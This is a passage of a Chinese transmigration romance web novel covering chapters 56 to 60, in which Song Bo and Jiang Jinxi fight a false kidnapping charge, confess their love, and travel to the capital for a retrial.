“这人还有赌博的前科?”杨知县抓着关键点儿。 宋泊也是没想着,原主都不知道魂飞哪儿去了,还能害着他。古代最是讲究声誉,做过一件坏事以后,想要消去坏事的影响却不那么容易。 “这是两码事。”林武玉说:“咱们今日所判是宋泊拐卖贵族之子一罪。” “林县令,你这可得好好查查了。”优势的天平又斜向叶单越那侧。 “宋泊确有赌过,但最近一次赌博已是半年之前,赌博罪半年未发即过时效,你们不能以宋泊曾经赌过作为这次判案的依据。”江金熙说道。 江金熙不愧为江丞相的哥儿,这说起话来的缜密程度与江丞相相差无几,得亏江金熙将恒国律法正翻、反翻,翻了个边儿将条条例律都记在了心中,不然今儿真有可能被叶单越拐了过去。 拂了面儿,自然得捧上一捧,江金熙又道:“我相信杨知县和林县令都是判案的能人,当是知道这条例律的。” “确实。”林武玉说,“这么说着又绕到原点了,我看咱们还是歇会儿堂,我与杨知县再商量商量这案子。” 江金熙已经在堂下跪了快半个时辰,林武玉知道这案子没有说法,他就会一直在堂下跪着。再这么跪下去,膝盖迟早跪坏。有叶单越和杨知县在,这案子一时半会也判不下来,索性先休了堂,先让江金熙从堂下起来再说。 “林武玉。”叶单越唤着。 林武玉直接堵去他的话,“就这般定了。” 休堂而已,符合正规程序,叶单越就算想参他一本,也找不到缘由。 宋泊先起了身,三日前的膝盖伤还未好全,现下又添了新的,他踉跄了一下,忍着膝盖上的疼痛感,在地上站定,“金熙,我扶你起来。” 既已休堂,再施苦肉计也没了用处,江金熙“嗯”了一声,顺着宋泊的力道从地上站起。 只是这将近半个时辰的跪地还是痛人,江金熙双腿发麻着,只能靠在宋泊身上,借着宋泊的力道前进。 叶单越本来也想扶起江金熙,但看着他与宋泊互动的模样,他就觉着自己的面子被甩在地上踩踏,他一心为江金熙着想,要杀了这个行了拐卖罪的歹人,他倒好,胳膊肘朝外拐,一直与他对着干。 “将军,咱们走吗?”旁儿有站着的士兵问道。 叶单越又看了江金熙一眼,发现江金熙一眼也没往他这儿瞧,他心里生着股气,道:“走。” 刚出县衙,青桥看着江金熙一瘸一拐的出来,立即就迎了上去,旁儿还跟着宋茶栽,因为此案涉及京城贵族,不公开审判,所以闲杂人等都不得进堂内旁观,虽然宋茶栽以自己是宋泊大姑为由提出抗议,但还是被衙役挡在县衙之外,无奈之下她只能喝青桥两人坐在县衙对面的茶摊里,一直盯着县衙的大门。 “哎呀这是怎么了。”宋茶栽搭了把手,扶住江金熙另一侧胳膊,“怎么进去一趟,还瘸了腿。” “金熙跪地了。”宋泊说。 “什么!”青桥惊道。 自家公子居然在县衙里下了跪,这怎么能成,他家公子可是丞相府的宝儿,到这却尽受欺负了,等了京城,他定要报给老爷。 “什么!”宋茶栽也一同出了声,“怎么回事?林县令判宋泊有罪了?” 宋茶栽也已知道江金熙的身份,江金熙这般尊贵的身份不会轻易跪地,定然是为了宋泊,他才会这么拼命。 “没有,休了堂。”宋泊说:“我们也别在这儿久站了,先回林县令那儿吧。” 这几日林武玉护着他们,给他们安排的住所也是府上的空房,如此便不必担心叶单越会趁着月黑风高,抹了宋泊的脖儿。 “好好好。”宋茶栽连连应道。 宋茶栽知道这案子不像宋老二那案子一样简单,中间牵扯的达官贵族太多,任何一个判决都得权衡利弊,所以知道休堂这事她也没有太过惊讶,毕竟官家判不定的案子,经常会用上拖延时间的法子。 考虑到宋泊和江金熙两人的腿都受了伤,宋茶栽大方着雇了马车,虽然县衙离林府的距离不远,但能让腿休息会儿也是好事。 周围街道依旧喧闹着,车内与车外像是两个世界。 宋茶栽见气氛有些苦闷,便起了心道:“等会儿我到餐馆打包菜回去,咱们好好吃上一顿。” “不必如此麻烦。”宋泊拒了这个提议,宋茶栽这几日为了他们的事儿忙里忙外,早就心力憔悴了,他哪儿还愿意宋茶栽去餐馆中打包菜品,徒增麻烦,“林县令府中的菜足够好吃了。” “那等回去了,大姑给你们揉腿,大姑这揉腿的手艺可是一绝。”宋茶栽再道。 忽然,一声突然的道歉出现在两人对话之中,“对不起。” 宋泊与宋茶栽停了话,双双看向江金熙,坐在江金熙身侧的青桥也转过头来。 只见江金熙两手放在大腿上,裤子上的布料都被他的双手抓得皱巴巴的,他垂着头,让人看不清他的面色。 “为何突然道歉呀。”宋茶栽的声音都放柔的许多。 “若不是我的话,你们便不会被卷入这风波之中。”江金熙说。 这人一钻进死胡同里,就容易堵心,江金熙就坐在宋泊身侧,宋泊一个转身,将江金熙紧紧抱入怀中。 一双坚定有力的手环住了江金熙,把江金熙心底的委屈都抱了出来,他靠在宋泊的肩膀上,泪慢慢打湿了宋泊的衣裳。“若不是你,我怎么知道什么叫做动心。”耳边传来宋泊低沉几分的声音,他的声音明明很轻很淡,好像风一吹就会消散,却为何会在他心上留下重重一击。 “若不是你,我的这辈子只会陷入污泥当中。”宋泊再说。 命运让他来到这个世界,肯定是想他作为变数,拯救江金熙的。原著剧情为了虐而虐,而他来到这儿,便是要扭转这一局势。 宋泊轻拍着江金熙的后背,跟哄孩子一般道:“你若是再把这事儿怪在自己身上,那我可要生气了哦。” 这语气柔得跟水似的,江金熙听不出一丝生气的成分在里头,他抬起头,看着宋泊,都说眼睛是心灵的窗户,宋泊的眼里除了心疼再无它物,当真是一丝责怪也无。 “你真不怪我吗?”江金熙问。 宋泊松开一只手,轻柔地抹去江金熙脸上的泪水,说:“怪,怪你把自己搞哭了,让我心疼。” 第57章 第五十七章表白。 近距离看小情侣就是甜,刚刚宋茶栽还想哄人来着,这般过去还哄啥呢,她在旁儿看别碍事就是了。 不过有一点宋茶栽不太满意,宋泊怎么能挑这个时间,江金熙正伤心呢,说不准没听着他的那句重点。 倒是一旁近距离待着的青桥看呆了来,自家公子莫不是真的动了心,以往那些个公子哥用着各种理由想碰公子,都被他一一化解了去,今儿个却窝在这个宋泊的怀中,呆了许久。 一路上,宋泊都哄着江金熙,可算把江金熙哄好了,下车时眼尾的淡红已然消了下去。 林武玉还要与杨知县掰持一会儿,宋泊一行人只能自己进府,林武玉交代过府中管家,所以他们进府十分顺利。 回了屋儿,宋泊拿过床头柜上放着的药膏,正要撸起江金熙的裤腿,就被青桥拦了去,“宋公子,我来就行。” 哥儿和女子不得在外人面前露脚踝,被人瞧去便会落着个不知检点的名声,自家公子可是丞相府的哥儿,更是得在乎名声,青桥作为江金熙的贴身侍者,自然以江金熙的利益为重。 这人只不过收留了公子,哪儿有资格瞧着公子的腿儿呢。 “无妨,让他来吧。”江金熙出言道。 “公子!”青桥扭脸看着江金熙,接着弯了腰,在他耳边小声道:“公子,您的腿哪儿能让他瞧着呢!” “早瞧过了,现下才来避嫌,晚了。”江金熙说。 这话听来确有意思,青桥瞪圆了双眼,满眼都是惊讶,在丞相府伺候公子的时候,公子看书,他便看话本,话本看多了,思想难免天马行空,公子这话,是说宋泊只看过腿儿?还是连其他地方也看过了? “你叫青桥是吧。”宋茶栽说。 “是的。”青桥俯身,应道。 “正好,你与我去趟厨房,有事儿喊你做。” “不行的,我得伺候公子。”青桥拒道。 宋茶栽只觉着这人实在死板,这时儿氛围正好,他搁这儿留着作甚。 “青桥你去,帮下大姑。”江金熙说。 宋茶栽使唤不动青桥,但江金熙可以,江金熙记着宋泊在马车上说过的话,他也有意想问个明白,宋茶栽既为他们创造机会,他当然要将这个机会抓在手中。 青桥心中不愿,但毕竟是公子发了话,他只好随着宋茶栽一块儿出了房。 屋内窗户半开着,阳光从窗框照了进来,初春的风还带着末冬的寒,有些冻人。 等会儿要把裤腿卷上去露出腿儿,宋泊怕风冻着江金熙,便打算起身将那窗户关上。 江金熙看透他的动作,他牵住宋泊的手,摇了摇头,“不用关,我不冷。”宋泊膝盖上的伤比他还严重,他不过堂上跪了一会儿,宋泊可是在三日以前被叶单越压着跪了很久,两厢比较之下,江金熙更心疼宋泊的腿,不想让他因无谓的事儿乱动。 宋泊转头看向江金熙,江金熙紧了紧牵着宋泊的手,宋泊便被他拉着重新坐回床上。 宋泊卷起江金熙的裤脚,将裤子卷到膝盖以上,江金熙的膝盖还未淤青,不过跪了那么久,明儿就会淤起来。他用指尖挖了点儿药膏,轻轻碰在江金熙的膝盖上。 三日前还是江金熙给他上药,今日他俩就都需要上药了。 “宋泊。”江金熙轻声唤着,窗外天冷,但他却紧张得快要出汗。 “嗯。”宋泊微微低着头,给江金熙涂药,他大抵猜着江金熙接下来会说些什么,但他心意已定,便没有太过慌张。 “你在马车上说的话”江金熙看着宋泊的眼睫毛,问:“是真的吗?” “如果你问的是动心那句。”宋泊抬起头,两人因为坐在床上,身高的差距被拉下不少,他凝神看着江金熙的双眸,嘴唇轻启,一字一句说得认真,“是真的。” 听着宋泊的答案,江金熙难掩欣喜,连腿上的疼痛都无法阻止他勾起嘴角,原来他不是一厢情愿,他们是两情相悦。 看着江金熙嘴角上扬却又紧紧抿着唇强行憋着,宋泊便知他也是喜欢着他的。剧情真的改变了,主角受明明应该喜欢主角攻的,现在却心悦着他,他如果再将江金熙往外退,那简直就不算男人了。 “现如今的我还不能给你什么。”宋泊双手轻轻搭在江金熙的膝盖上,“不过我已定了心要考科举,做官以后,你想要什么我都能予你。” “你想要读书了?”江金熙喜道,这确是意外之喜,宋泊写了一手好字,腹中定然有墨,这般人才不想当官,可是埋没了他的才华,江金熙觉着宋泊是黄金,终有一日会绽放光芒,只是被动与主动的区别。 现下宋泊愿意主动读书了,他实在高兴,人总得往高处走,宋泊的前途不止如此。 但是科举与写字又有不同,写字能靠苦练练出来,而中举却不行,能考中的人多少都有些灵性,他没见过宋泊读书的模样,也不知他真正的学识有多少,不过无论如何,不管是中还是未中,他总归都会陪着宋泊。 “嗯。”宋泊说:“你可是丞相府公子,我不当官怎的能*配得上你?” 江金熙伸手牵住宋泊的手,“你是为我而读书?” “不尽然。”宋泊知道江金熙这话问出来定是心中有了负担,读书是好事,但如果是为了某个人而逼着自己读书,那这条读书之路只会苦不堪言,“当官才能有权利,往后再遇着如叶单越这般不讲理的人,我也能与之碰上一碰。” “说的是,等你当上了官,定然要狠狠罚他一罚!”江金熙想起三日前的事,心里的火儿还是压不下去,恒国哥儿的身份最是底下,就算他是丞相府的哥儿也如此,若他是个男子,叶单越定然不敢如此造次! “你就这般相信我能当官?”宋泊笑了。 江金熙说得愤愤不平,像是他已经成了官,已经看着叶单越受苦的时候。 “我自然相信我的夫君。”江金熙道。 这话也是提醒了宋泊,既然他要追求江金熙,那他俩的关系就不能再这般不清不白下去,“你且先唤我宋泊吧。” “为何?”江金熙眨巴着眼儿道。 “等我八台大轿迎你过门,你再唤我夫君。”宋泊道,正好也能用“夫君”这两字作为一个鼓励,鼓励着他上进。 “那我就等着做官夫郞了。”江金熙乐道。 “官夫郞,可否把右腿伸下,左腿已然抹完了药。”宋泊顺着江金熙的话往下调侃。 “诶,官老爷这般说了,我自照做呢。”江金熙屈起左腿,将右腿露了出来。 明明只是个简单的抹药,也被两人抹出了兴致来。 晚上,星月高挂,林武玉回到林府,喊了他们去正厅。 “此案若在霞县处理,我的能力恐怕盖不过叶将军。”林武玉道。 叶单越的官职比他高,这地儿又离京城远,等叶单越用这势力将宋泊判了罪,后头再回京城请人帮忙可是不好翻案。现下他将案子拖着,能转到廷尉府自是皆大欢喜。 江丞相在京城人脉极广,只要他出了面,宋泊便有很大概率不会被判有罪。 “如何能将案子转到廷尉府呢?”宋泊问。 “如此便得麻烦江公子了。”林武玉看向江金熙。 叶单越不让呈案,那他只能以强硬的手段往上呈,如此便需要江金熙手写一封信,到时头上问下来,他也有得交代。 “写下这封信可有什么后果?”宋泊问,他不懂恒国律法,不知写下这种信会如何,若江金熙因写了信而会被惩罚,那他宁愿不要这信,再想些别的法子。 “后果定然是有的。”林武玉说:“就是会彻底得罪叶单越。” “这算什么后果?”江金熙右手一挥,“拿笔来,我这就写。” 在叶单越不顾他的脸面,当着他的面把宋泊按在地上的时候,他与他的关系就已经决裂了。什么从小长到大的青梅竹马情,他现在宁愿自己从未认识过叶单越。 林武玉让侍者拿了纸、笔来,他指导着江金熙,让江金熙在信中实事求是地写着事实,不带任何感情色彩。 江金熙写好信,按上指纹。 林武玉将信装入信封之中,“对了,这信若是寄了出去,定会破坏江公子的声誉。” 官家之子被陷害到乡村之中,为了一个普通农户而呈上此信,想必京中那些闲来无事的达官贵人定会将这事儿当饭后杂谈,说来取乐用。 “没事儿。”名声什么的江金熙不在乎,他只在乎宋泊能不能逃出此劫,他从椅子上站起身,给林武玉行了一礼,“只是麻烦了林县令,为我俩的事儿奔波许久,” “欸!哪来的话!”林武玉虚扶着江金熙的手臂将他扶起来,“你是老师的孩子,老师帮我极多,现在你有了事儿,我自然鼎力相助。” “如此便多谢林县令。”江金熙说。 宋泊也从椅子上站起,“多谢林县令。” “真要谢我的话,记得给我留副字就成。”林武玉笑道。 第58章 第五十八章出发。 信从霞县出去,并非立刻就能返回,林武玉想着法子拖着案子,终于拖到京城回信。 廷尉府回了信,让他们即刻启程,回京城判案。 宋泊、江金熙、青桥与宋茶栽四人一辆马车,车轱辘转动着,因着走着官道,倒不显颠簸。 他们所坐的这辆马车便是叶单越车队中带着的马车,这辆马车车厢比寻常马车车厢大上不少,听江金熙讲,这是他家的马车,江丞相很在乎出行感受,所以府中的马车车厢全都加了宽,还垫上了软布。 青桥晕车,自上马车以后便息了声,蔫了。 江金熙在他脑袋后垫了枕头,让他靠在车厢内歇息。 要去京城,宋泊却没有什么兴奋感,虽然林武玉说这案子送到廷尉府他大概率就没了事,但他总得想些法子,若出现那百分之一的概率也能应对。 宋茶栽作为长辈,早过了出行兴奋的年纪,她将车窗帘子掀开,让春风透进来。 官道边儿也没什么风景,无非就是一路的树儿,加上时不时的茶摊以外,在无其它不同。 马车行了一日,从白日进入黑夜,叶单越让车队停了下来,原地歇息。 赶路途中没有条件能常找地儿歇息,更经常的情况得直接露宿街头。 今儿是赶路的第一天,他们刚出菱州,距离下一个城镇还有一天半的路程。 叶单越在北域待了几年,论野外生存他是高手,他让手下生了火,又支了几个帐篷。 因着林武玉和杨知县还有各自的事儿要做,一县县令和一州知县不可轻易离职,所以林武玉写了亲笔信由江金熙带着,作为情况说明。 自叶单越针对宋泊以后,江金熙便单方面与叶单越决裂了,就算他们是一个车队回去的,他也不想用叶单越那边儿的任何东西。 宋茶栽想到了这点儿,便往行囊里放了不少厨具,以往年轻时跟着师傅上山采药,并不能常常当天返回,在山中短暂过夜也是常有的事,因此她也有着些野外生存的经验。 宋茶栽怕江金熙肚子饿,从行囊中先拿了个馍儿出来,让江金熙先将就着吃着,接着她捡了些柴火,喊宋泊来帮他生火。 江金熙倒是不饿,但既然宋茶栽给了他东西,那他就先在手里攥一会儿。 官道上的城镇都离得不远,相距最远的两个城镇之间三天就能抵达,所以宋茶栽准备了他们五天的口粮,前三日煮食材吃,若有意外情况,后两日也能有馍儿充饥。 江金熙还没有在野外生活的经验,现在看着宋茶栽和宋泊忙活起来,他抱着馍儿,有些好奇地盯着瞧,书上写得在生动,还是不如亲眼瞧着令人记忆深刻。 这时,有个士兵走了过来,他先给江金熙行了个礼以后,说:“江公子,将军请您过去吃饭。” 江金熙没摆脸儿,只是语气不算热络地直接回道:“回去跟叶单越说,回京城的这一路他都不必管我。” 士兵尝试劝说几句,但江金熙都只回一句话,无法,士兵只能回去复命,没一会儿叶单越就走了过来,“江金熙,你闹脾气要闹到何时?” 江金熙听着都笑了,闹,究竟是谁在闹,明明叶单越还未上战场当上将军的时候,勉强还算是个有礼的人,现下赢了战,得了官位,竟变成了他不认识的模样,很像野兽。 江金熙起了身,直直看着叶单越道:“你管好你自己就是。”虽说他的个子比叶单越低了很多,但气势上却完全不输。 叶单越看着江金熙手里的馍,嗤笑了声,“你就吃这种东西?” “我吃什么都与你无关。”江金熙没闹脾气,只是平平淡淡说着。 叶单越亲自过来喊江金熙过去吃饭已经是扯下了面子,这下江金熙不领他的好意,他便觉着自己热脸贴冷屁股,失了面儿,他道:“好,我看你能挺到几时。”野外生活不比城内,这半个月赶路途中的苦日子还多着,他就不信江金熙能一直骄傲地挺着脖颈,不来求他。 宋茶栽身上带着火折子,忙活着生火,她要先用火折子把小枯枝点燃,而后再由小枯枝点燃大树枝,这般一点一点儿生起火堆。 “大姑,有没有什么我能帮忙的?”送走叶单越以后,江金熙立即回到宋泊和宋茶栽身边。 宋泊转头瞧着江金熙,柔声道:“你与宋泊一块儿去河边装些水来,好吗?” 叶单越选的这个休息地点近河,他们这儿便能听着附近的流水声,正好可以装一桶水烧开来,装进水袋之中,留到后头几日喝。 不过江金熙一个哥儿自己穿过林子过去装水实在不安全,再加上瓷盆装满了水很重,江金熙的腿还未好全不好抬重物,宋茶栽便把宋泊也使唤了出去,刚刚她近林子边儿捡木材的时候,好像瞥着只泛着亮光的虫儿,这林子中有流萤出没。 江金熙将馍儿重新放回宋茶栽的包里,说道:“当然好。” 宋泊让江金熙小等一下,等他将柴堆摆好后,才与江金熙一块儿进了林子里。 林子中的树不算密,夜光从树枝之间透进来还算亮眼,宋泊和江金熙本来并肩走着,但宋泊怕江金熙摔着,便抬手牵上江金熙,“与我近些,别摔了。” 江金熙心中一喜,他另一只手抚上宋泊的手臂,步伐轻快地跟在宋泊身旁,“嗯,我看着的,倒是你也小心些,你的腿也没好全呢。” “好,我会小心的。”宋泊说。 河确实离他们的休息地儿不远,不过半炷香的时间,他们便到了河岸边。 这河一眼望过去见不着边儿,当真是有些广阔,河面上倒映着天上的月亮,身后吵闹的声音远到听不着,四周静谧一片,时间都慢了下来。 河边湿滑,宋泊叫江金熙在河边儿守着瓷盆,他则到河边用小碗舀水。 看着宋泊蹲在一块大石头上,弯着腰从河中舀水,他道:“你小心点儿,可别落了水中。” “落了水中你可记得救我。”宋泊调侃道。 闻言,江金熙有些气着说道:“乱说什么,呸呸呸。”他不会水,宋泊真落进水里他没有半点儿办法,这种事上可不能开半点儿玩笑。 听着江金熙语气中带了点儿气,宋泊自知失言,立即说道:“呸呸呸,童言无忌童言无忌。” “你都不是孩童了,还用童言无忌呢。”江金熙被宋泊的话逗笑了来,都已经成年的人了,哪儿还算孩童,用这词儿也不显害臊。 “怎么不算?在上天眼中,我肯定还是个孩童。”宋泊笑道。 宋泊慢慢舀着水,江金熙就陪着他,两人扯过玩笑后便没再说话,和谐安静的氛围在两人之间蔓延,忽然,江金熙看着个绿色的光芒渐渐朝他靠近,而后落在他的鼻尖,害得他为了看这抹光,不得已对眼。 有一只以后就会有第二只,渐渐的,流萤围绕在江金熙身旁,将他围了起来。 宋泊舀下最后一碗水,功成转目之时,正看着眼前这副绝美的景象。 月光淡淡的银白色撒在江金熙身上,周边儿的流萤映在江金熙的眼中,江金熙微微垂着眸,抬着手,一只流萤落在他的指尖之上,他正在瞧着那只流萤,就像是误入凡间的精灵。 要不是宋泊深知江金熙是真实存在的,他真要被眼前的美景迷了去,当自己不小心瞧着精灵。 流萤胆儿小,一点儿风吹草动就会吓得它们四处飞窜,宋泊见江金熙对这些流萤很有兴趣,便没有出声打搅。 江金熙似有所感,他抬起头来,微笑着与宋泊对视,这一眼似穿透了一切,直接照进宋泊的心中。 宋泊想,他大抵是做了太多的好事,才能穿到这儿来,遇上江金熙。 两人蹲得腿都要麻了,一场风吹来,流萤被刮走了去,便再没回来,江金熙又是遗憾又是松了口气,“那些亮亮虫围在我身侧,我都不敢乱动,怕吓着它们。” 宋泊先一步走下石头边儿,他抬手牵着江金熙,问:“亮亮虫可是虫,你不怕?” “可能因为是晚上,我瞧不着它们的模样,只能看着他们发光,便不觉着它们是虫儿。”江金熙接过宋泊手里的小碗,装满水的瓷盆则由宋泊抬着,他亦步亦趋跟在宋泊身侧,说:“其实还有一个最重要的原因,你要不要听?” 这般问话肯定是想要得到想听的反馈,宋泊不会扫江金熙的兴致,他道:“当然,你快说与我听。” 江金熙反身在宋泊面前站定,他抬着手往下挥了挥,“你俯耳下来。” 宋泊微微歪了身子,斜着左耳在江金熙面前。 江金熙抬着右手放在嘴边,“因为你在我身边,我就不怕了。” 说完话还不等宋泊有什么反应,江金熙自己便害羞着跑开来,听了情话宋泊心中也是高兴,但看着江金熙逐渐跑远,他还是喊着道:“注意看脚下,别摔着了!” 第59章 第五十九章入京。 叶单越的想法落了空,半月以来他们遇着两次下雨,十次在外头休息,九次超长时间赶路,江金熙都没有说一点儿苦,反而还跟着那个贫民过得有声有色,不像在赶路倒像是在郊游。 要不是廷尉府送了信来,必须要看着宋泊和江金熙这两位案件关键人物,他真想找个法子把宋泊给杀了。 就是这个贫民的出现,不仅带坏了江金熙,还让事情的发展变得奇怪起来。 远远的,京城的城门显露出来,江金熙难掩心中的激动,他终于要回家了。 京城毕竟是恒国重地,进城需城门兵仔细查过以后才能入关,不论贫民贵族,都是如此。 排到叶单越,守城兵行过一礼,“叶将军,您回来了。” 叶单越坐在骏马之上,听着守城兵的话低头,“嗯”了一声算是回应。 守城兵叫来同事,例行公事。 江金熙掀开车窗窗帘,守城兵瞧着江金熙,奇道:“江公子,您何时出的门,怎的与叶将军一块儿回来了?” 江夫人每年都会出城到附近山中的庙里祭拜,江金熙每次都会跟着一块儿去,因着江金熙长得漂亮,见过一次便不易遗忘,所以守城兵一下就认出了江金熙。 “是呐,回城碰上了。”江金熙说。 守城兵会这么问,就证明他被陷害到了乡村的事儿并未泄露,爹爹为了瞒住这个消息,应当花了不少力气。 江金熙在车上,守城兵便只是撩开车帘瞅了眼,看着车上还坐个男子,他还有些诧异。 守城兵见车内没什么异常,他就放下车帘往后瞧去。 顺利进了城,江金熙一眼就瞧着城门边停着一辆马车,那辆马车的款式与他这辆一模一样,也是从丞相府中出来的马车。 对面车厢内伸出一只手慢慢撩开车帘,江金熙的眼睛一眨不眨德盯着,从车上先下来一个妇人,妇人下来以后转过身,牵下一位身着华贵的妇人。 是娘! 江金熙喊车夫停了车,他也顾不着什么,直接掀开车帘下了车。 宋泊怕他着急摔了车,还帮忙扶了一把。 “娘!” “我的金囝!”江夫人看着江金熙,双手抬起将江金熙抱了个满怀。 江金熙紧紧抱住江夫人的背,眼泪一下落了下来。 “总算回来了。”江夫人说。 叶单越停了马,他长腿一跨落在地上,走到江金熙和江夫人身边,道:“江夫人,幸不辱命。” “好好好。”江夫人松开抱着江金熙的手,看着叶单越说着:“麻烦小叶帮我带金囝回来。”说完她又细细瞧着江金熙,伸手将江金熙的泪擦了去,眼中满是心疼,“瘦了、黑了,肯定吃了不少苦吧!” 江金熙撒娇着蹭了蹭江夫人的脸,“不苦的。” 宋泊也从车厢下上来,跟江夫人行了一礼,“江夫人。” 听着有人唤她,江夫人转头看去,是个陌生面孔,但她猜此人就是宋泊。林武玉从霞县送来的信先到了她夫君的手中,她也顺带看了以后才知江金熙竟到了南方,信中金囝写着事情经过,宋泊这个名字出现了多次。 信中说此人是个普通农户,江夫人瞧着这人,身量高,一双浓密的眉毛底下双眼炯炯有神,鼻梁高挺,嘴唇微厚,虽然穿着简朴的棉衣,但却显露出了不凡的气质,因着江丞相身居丞相高位,江夫人作为丞相夫人那应酬自然是少不了,见的妖魔鬼怪多了,练就了一双识人的慧眼,此人应当做不出拐卖贵族之子之事,可叶单越送来的信里又言之凿凿地说着这人的罪状。 比起叶单越,江夫人更相信自家哥儿,她微微笑了下,“嗯”了声算是回应。 “好了,我们也别在这儿聊了,快回家,娘给你准备了你爱吃的菜。”江夫人摸着江金熙的秀发,满眼宠爱。 “好。”江金熙点头应道。 “小叶”江夫人正打算邀请叶单越一块儿到家中吃饭,手臂便被江金熙掐了一下,虽然江夫人不知江金熙这般掐她是何意,但她还是话锋一转,“小叶也是辛苦了。” 江夫人在,江金熙便上了江夫人的那辆马车,青桥跟着自家公子也过去了,马车内就只剩下宋泊和宋茶栽两人。 进城后宋泊这辆马车的车夫就换了一人,两辆马车加一匹马并行了一会儿,在一个拐弯处分开了来,江金熙、江夫人与叶单越往左边去了,宋泊和宋茶栽被车夫带着往右边去。 宋泊心底明白这分道扬镳的原因,毕竟是江府家宴,他和大姑作为两个外来人,自然没有资格进入江府中参加这个家宴。 “这?”宋茶栽撩开车窗帘子往外瞧着,见与江金熙他们那辆马场越来越远,她出声问着前头车夫,“这是要去哪儿?” “老爷给你们在客栈定了房间,这是去客栈的路。”车夫答道。 京城与霞县大不相同,作为恒国中最大的城,街边的玩意儿极多,有表演杂耍的,也有街头说书的,热闹非凡。 不过宋泊和宋茶栽此刻都没心情看,马车行进了一会儿便到了客栈。 江丞相定的客栈,当然得符合他的身份,状元红客栈是京城内最高档的客栈,门口的木门都是用红木做的。 车夫停了车,与宋泊和宋茶栽一块儿进了客栈,掌柜的认识车夫,知道这是江丞相的人来了,忙叫店小二带着人上楼。 将两人送至房间门口以后,车夫就告辞了。 宋泊打开房门一脚跨入,房间内的空间很大,比他们在村里的卧房大不少,房内挂了雅致的挂画,还放着山水屏风,蜡烛架上的蜡烛全是未点燃的新蜡烛,入房的实木桌上放着个铁质的香炉,炉中熏香渺渺,房内满是令人安心的香气。 宋泊将行囊放在床边的衣柜中,而后喊着店小二送桶洗澡水来。 赶路的这半个月里,他只寥寥洗过三次澡,身上沾了不少灰,正好借着这个客栈的良好条件,洗个热乎澡,洗去一身疲倦。 状元红客栈的服务确实上等,不到半炷香时间,店小二就送了水来,澡盆之中装满热水,宋泊脱了衣躺了进去,温热的水让他舒服地叹了口气。 这应当是他来到古代后,泡的第一个澡,以往在村中没有那个条件,只能浅浅冲一冲。 宋泊身子一滑,嘴浸入水中,只留着鼻子以上在外头,不知江金熙现在在做些什么,半年以来,这是他们第一次分离。 泡好了澡,天色依然完全黑了下来,店小二将水撤了下去,又送了晚餐进来。 宋泊和宋茶栽住的可是江丞相安排的房间,他们便是店内的贵客,可得小心伺候着。 眼瞧着店小二端进来的盘子上放了四菜一汤,宋泊道:“隔壁的菜色也是如此吗?” “回客官,是的。”店小二道。 “已经送去?” “还未。” “不必送了,两人吃四菜一汤已是足够,别浪费了粮食。”宋泊说着,出了房间唤宋茶栽来他这儿吃饭。 店小二没想着宋泊还会替他们着想,心底便觉着这人是个好人,没有那些贵客的坏脾气。 “哟,这菜色可是丰富了。”宋茶栽也洗了澡,身上清爽了,被赶路磨去的精神气也足了起来。 宋泊分着餐具,“他们本还要送一份到你那去,被我拒了。” “拒的好,两人都吃不下,让我一人吃,那不是浪费嘛。”宋茶栽赞同道。 状元红客栈中的菜品也是一绝,炖的鱼汤鲜嫩可口,鱼肉入口即化,炒的猪肉带着锅气,一丝腥味也无。 亏待了半月的肚子,终于迎来了一顿美食。 “江丞相确是有钱,住这一日不知要花上多少银两。”宋茶栽感叹道,她已算是村中有钱的人,可却比不上江丞相一毛。 “大姑。”宋泊道。 宋茶栽扒了口饭,放下碗看着宋泊。 “我要读书了。”做这般决定应当与宋茶栽说一说,之前在路上一直没逮着机会,现下安静正好可以说上一说。 “好啊。”宋茶栽没有丝毫惊讶,说了句,“大姑支持你。” “你怎么完全都不惊讶?”宋泊奇道。 “江金熙的身份那般高贵,你得往上爬才能配得上人家呀。”宋茶栽说。 “你知道我与江金熙定了情?”宋泊问。 “是啊。”宋茶栽随口应着,忽然反应过来,“你与江金熙定了情?!” “在赶路前,我表明的心意,正巧金熙也心悦与我。”亲口说来宋泊还有些害羞,“我们就顺其自然,定了情。” “好你个小子!”宋茶栽放下碗,一掌拍在宋泊的背后,力道大得宋泊都咳嗽了声,“闷声做大事呢。”宋茶栽瞧着宋泊,越瞧越觉着自家侄儿当真是要走上一条光明大道,“那你可得努力了,别人读四个时辰,你可得读六个时辰。” “我知的。”宋泊答。 “回去就把传福镇的工给辞了,专心读书,大姑养你。”宋茶栽道。 第60章 第六十章回家。 “金囝,你刚刚掐我是为何?”坐与马车之中,江夫人牵着江金熙的双手问着。 车轮声咕噜咕噜响,江夫人说话的声音又轻,便不担心被外头骑着马的叶单越听着。 “我已与他决裂,娘亲可不要喊他来家中吃饭,不然我一粒米都吃不下的。”江金熙答着,他没刻意收敛自己的声儿,叶单越听着便听着。 回到京城他有爹爹罩着,还怕他个将军不成,仗着信息滞后,叶单越在霞县可没少欺负他。 江夫人捂着嘴,惊讶着道:“小叶可是非常着急你,主动说要去南边儿接你的。” 听着娘亲这般说,江金熙心底一阵不屑,主动接他,就是逼着他在衙门下跪,这般着急他可不敢要。 “回去我再与你细说。”叶单越做了太多过分的事儿,在回家途中这一短短的马车过程中说不完。 听着耳边另一架马车的车轱辘声越来越远,江金熙掀开车窗帘子,微微伸出一点儿脑袋往后一瞧,宋泊那辆马车正在离他远去。 “瞧什么呢?” “娘,他们要去哪儿?” “你爹给他们订了客栈,现下应当是往客栈赶去吧。”江夫人答。 “他们不能住在我们府上吗?”江金熙问。 丞相府内的客房足有十几间之多,随便分两间给宋泊和宋茶栽是完全没有任何问题的。 “要避嫌呀。”江夫人说,林武玉送信上来,江丞相看过后才传到廷尉府,江金熙和宋泊正是案件中的当事人,自然得分开避嫌,若宋泊住进丞相府,到时不管案子判的什么结果,都会有人揪着不放,说三道四。 “也是,是我心急了。”江金熙垂下眸子,说道。 江夫人却是从这几句话中听出些端倪,“说来你似乎很在意那个宋泊。” 面对自家娘亲,江金熙不想藏着掖着,“娘,他是我的宋郎。” 这种情郎的称呼竟然会从江金熙口中出来,江夫人比刚才更惊讶了,“我刚刚没听清,你再说一遍。” “宋泊是我的宋郎。”江金熙再道。 江金熙已经及笄可以说亲,但因着叶单越与江金熙从小长到大,现下还得了个将军的官位,一些个家中有适龄男儿的人便不敢上门,大伙儿好像都认定江金熙会嫁与叶单越,连江夫人也时不时这般想着,叶将军与丞相哥儿,也算是门当户对。 现下突然冒出来个程咬金确实是令江夫人惊讶。 江夫人宠爱自家哥儿,私心不想他那么早嫁出去,可这一眨眼儿的功夫,江金熙却已有自己心爱的情郎。她怕江金熙年纪小,错把废石当成宝,所以对这段感情她不置可否,那宋泊她还需再观察观察。 